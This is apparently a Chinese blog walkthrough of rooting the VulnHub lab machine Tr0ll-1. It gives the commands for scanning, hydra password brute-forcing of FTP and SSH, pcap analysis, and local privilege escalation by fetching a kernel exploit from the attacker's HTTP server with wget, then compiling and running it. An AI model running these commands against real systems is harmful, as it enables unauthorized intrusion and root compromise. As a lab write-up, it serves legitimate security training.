前言

Tr0ll的灵感来源于OSCP实验室内机器的不断拖动。

目标很简单,获取root并从/root目录中获取Proof.txt。

不适合那些容易受挫的人!公平的警告,前方有巨魔!

靶机环境

kali 192.168.31.153

Tr0ll-1 192.168.31.35

靶机下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/

渗透实战

环境搭建成功,使用nmap扫描网段ip探测存活主机

nmap 192.168.31.0/24

浏览器访问主机http://192.168.31.35,发现是一个暴走图

查看页面js源码也是没有任何线索,正常思路走就是对主机web页面和ip进行信息收集

首先我用nmap详细扫描ip的端口信息

nmap 192.168.31.35 -sV -O -p-   //扫描全端口信息,版本信息,操作系统

此处发现了21 22 80端口 且操作系统是ubuntu的linux系统,先放一边,接下来就是扫描文件目录

python3 dirsearch.py -u http://192.168.31.35/ -e*

发现了一个文件robots.txt,添加访问路径查看有一个/secret目录,访问又是一个暴走图并没有有用的线索

现在只能从端口入手,首先尝试ftp端口,利用hydra爆破用户名密码

hydra -L user.txt -P password.txt  192.168.31.35 -s 21 ftp

得到了用户名为 Anonymous 和一堆弱密码(这里由于爆破时间有点长,只截取了一部分)

但是我看网上可以尝试无密码直接登录成功

ftp 192.168.31.35
回车完显示需要输入用户名,再回车一次
然后直接登录

回车完发现了有一串英文,意思是此FTP服务器仅为匿名服务器,可以使用图中的英文anonymous无密码登录,为什么使用这个英文呢,是因为目前没有其他线索了,我尝试了其他用户名又是不可以

紧接着就是查找新线索,使用ls查看文件,发现有一个流量包lol.pcap

在ftp服务器里使用 get lol.pcap将流量包下载到本地

get lol.pcap

使用wireshark查看流量包

右键点击第一个流量包,追踪TCP流,发现提示是将一些二进制代码放在secret_stuff.txt文本里

修改刚刚圈出来在地址框的代码,把0改到2,看到提示说找到一个sup3rs3cr3tdirlol,看到这串字符有dir字样,猜测应该是一个文件或者文件夹

到浏览器访问看看http://192.168.31.35/sup3rs3cr3tdirlol,发现也是一个目录,里边还有一个未知文件 roflmao

使用kali的wget命令下载到本地查看

wget http://192.168.31.35/sup3rs3cr3tdirlol/roflmao

可以利用kali的文件解析命令获取线索,这里我使用strings命令

strings roflmao

得到了一堆提示,其中有一段英文提示Find address 0x0856BF to proceed,查找0x0856BF这个地址,再次利用浏览器访问http://192.168.31.35/0x0856BF查看

又是一个目录,一个套着一个,这谁猜得到哦...

查看两个目录,发现了是一个用户名字典和密码字典

到这突然意识到,应该是ssh的用户和密码,再次使用hydra爆破ssh端口

hydra -L which_one_lol.txt -p Pass.txt  192.168.31.35  ssh

一开始使用的是密码文本的参数-P 但是多次爆破均没用,然后换了-p发现密码居然是Pass.txt,又是一个坑

登录ssh

ssh overflow@192.168.31.35
Pass.txt

直接获取到webshell了,接着就是提权getshell

使用python获取linux框架shell
python -c 'import pty;pty.spawn("/bin/bash")'

开始内网信息收集,查看内核版本信息

cat /proc/version

发现是Linux ubuntu 3.13.0版本,老规矩,浏览器搜索漏洞poc或者使用kali的searchsploit命令查看poc脚本

这里为了方便演示,我使用searchsploit命令

searchsploit Linux ubuntu 3.13.0

使用第一个c脚本,先将脚本复制到/root下方便操作,再者使用cat查看脚本如何使用

find / -name 37292.c
cp /usr/share/exploitdb/exploits/linux/local/37292.c 37292.c
ls
cat 37292.c

脚本提示需要下载到靶机,使用gcc编译再执行,python3开启http服务,在靶机后台wget下载脚本,但是此处又有一个坑,发现后台并不能随意下载

kali:
python3 -m http.server 8989 Tr0ll-1:
find / -writable 2>/dev/null //查看可写入权限的文件

发现有一个临时目录/tmp可写入,进入tmp文件夹,将脚本下载到tmp

cd /tmp

wget http://192.168.31.153:8989/37292.c

下载完毕,使用gcc编译37292.c

gcc 37292.c -o shell
-o:将编译完的exp存储在自行定义的文件里
chmod +x shell //添加执行权限
./shell //开始执行
id
cd /root
cat proof.txt

总结

1.从nmap扫描到端口再到hydra破解端口

2.使用wireshark流量分析lol.pcap包获取线索

3.strings解析二进制文件查找提示信息

4.利用已知内核漏洞提权getshell

5.最后这个靶机在查看到有很多地方可以写入权限,方法不止一个,但是我这里仅展示最简单的提权方法:利用已知漏洞获取权限

其他拓展思路可以参考此博客:https://blog.csdn.net/weixin_44807430/article/details/128707254

Tr0ll-1项目实战的更多相关文章

  1. Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  2. 给缺少Python项目实战经验的人

    我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...

  3. 【腾讯Bugly干货分享】React Native项目实战总结

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/577e16a7640ad7b4682c64a7 “8小时内拼工作,8小时外拼成长 ...

  4. Asp.Net Core 项目实战之权限管理系统(0) 无中生有

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  5. Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  6. Asp.Net Core 项目实战之权限管理系统(2) 功能及实体设计

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  7. Asp.Net Core 项目实战之权限管理系统(3) 通过EntityFramework Core使用PostgreSQL

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  8. Asp.Net Core 项目实战之权限管理系统(5) 用户登录

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  9. Asp.Net Core 项目实战之权限管理系统(6) 功能管理

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  10. Asp.Net Core 项目实战之权限管理系统(7) 组织机构、角色、用户权限

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

随机推荐

  1. 实现和CSS一样的easing动画?直接看Mozilla、Chromium源码!

    前言 在上一篇丝滑的贝塞尔曲线:从数学原理到应用介绍贝塞尔曲线实现动画时给自己留了一个坑,实现的动画效果和CSS的transition-timing-function: cubic-bezier差别较 ...

  2. 二进制安装Kubernetes(k8s) v1.24.2 IPv4/IPv6双栈

    二进制安装Kubernetes(k8s) v1.24.2 IPv4/IPv6双栈 Kubernetes 开源不易,帮忙点个star,谢谢了 介绍 kubernetes二进制安装 强烈建议在Github ...

  3. [Linux]Linux大文件已删除,但df查看已使用的空间并未减少解决【待续】

    1 问题描述 X 参考文献 Linux大文件已删除,但df查看已使用的空间并未减少解决 - ChinaUnix linux磁盘空间未及时释放 - 博客园 linux磁盘目录占用空间分析工具之ncdu ...

  4. 8.redis存储token以及springboot整合Jwt

    1.总结: 昨天主要是下载安装和使用redis去存储token,但在创建redis的新建的时候出现了host异常,原因是没有将服务中的进程关掉,再重新打开redis的server,再打开cli: 回顾 ...

  5. 补五月三号java基础知识

    1.泛型技术可以通过一种类型或方法操纵各种不同类型的对象,同时又提供了编译时的类型安全保证.2.容器(即集合)是以类库形式 提供的多种数据结构,用户在编程时可直接使用3.泛型其实质就是将数据的类型参数 ...

  6. day14:列表/集合/字典推导式&生成器表达式&生成器函数

    推导式 推导式的定义: 通过一行循环判断,遍历一系列数据的方式 推导式的语法: val for val in Iterable 三种方式: [val for val in Iterable] {val ...

  7. 人群定向SQL表

    SET FOREIGN_KEY_CHECKS=0; -- ---------------------------- -- Table structure for rc_throng -- ------ ...

  8. asyncio的基本使用框架,python高效处理数据,asyncio.gather(),asyncio. create_task(),asyncio.run(main())

    asyncio 是 Python 3.4 引入的标准库,是一个基于事件循环的异步 I/O 并发库.它提供了一种协作式的多任务处理方式,使得我们能够在一个线程中并发处理多个 I/O 操作.它通过将 I/ ...

  9. 笔记:C++学习之旅---初识C++

    笔记:C++学习之旅---初识C++          博主也是一个新手,学习编程才一年左右,刚大学毕业不久,以前在学校学习的语言主要是C,本人是从嵌入式学起的!我现在从事的公司主要是C++,所以我也 ...

  10. Amazon S3 对象存储Java API操作记录(Minio与S3 SDK两种实现)

    缘起 今年(2023年) 2月的时候做了个适配Amazon S3对象存储接口的需求,由于4月份自学考试临近,一直在备考就拖着没总结记录下,开发联调过程中也出现过一些奇葩的问题,最近人刚从考试缓过来顺手 ...